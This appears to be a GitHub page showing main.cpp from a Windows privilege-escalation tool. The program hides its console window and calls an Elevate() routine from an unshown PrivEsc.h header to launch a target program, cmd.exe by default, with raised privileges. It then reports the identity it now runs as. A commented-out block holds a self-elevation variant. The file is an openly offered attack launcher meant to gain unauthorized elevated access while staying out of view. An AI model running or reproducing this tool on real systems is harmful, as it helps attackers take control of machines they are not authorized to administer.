-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
37 lines (30 loc) · 1.1 KB
/
main.cpp
File metadata and controls
37 lines (30 loc) · 1.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <string>
#include <windows.h>
#include "PrivEsc.h"
int main(int argc, char* argv[]) {
HWND hWnd = GetConsoleWindow();
if (hWnd) ShowWindow(hWnd, SW_HIDE);
PrivEscalationClass esc;
/*
esc.SelfElevate();
std::wstring currentUser = esc.GetProcessUserName(GetCurrentProcessId());
std::wstring msg = L"Privilege escalation completed successfully.\n"
L"Current Identity: " + currentUser;
MessageBoxW(NULL, msg.c_str(), L"Privilege Escalation", MB_OK | MB_ICONINFORMATION);
*/
std::wstring targetPath;
if (argc > 1) {
std::string arg(argv[1]);
targetPath = std::wstring(arg.begin(), arg.end());
}
else {
targetPath = L"C:\\Windows\\System32\\cmd.exe";
}
esc.Elevate(targetPath);
std::wstring identity = esc.GetProcessUserName(GetCurrentProcessId());
std::wstring successMsg = L"Privilege escalation completed successfully.\n"
L"Target Path: " + targetPath + L"\n"
L"Executed by: " + identity;
MessageBoxW(NULL, successMsg.c_str(), L"Privilege Escalation", MB_OK | MB_ICONINFORMATION);
return 0;
}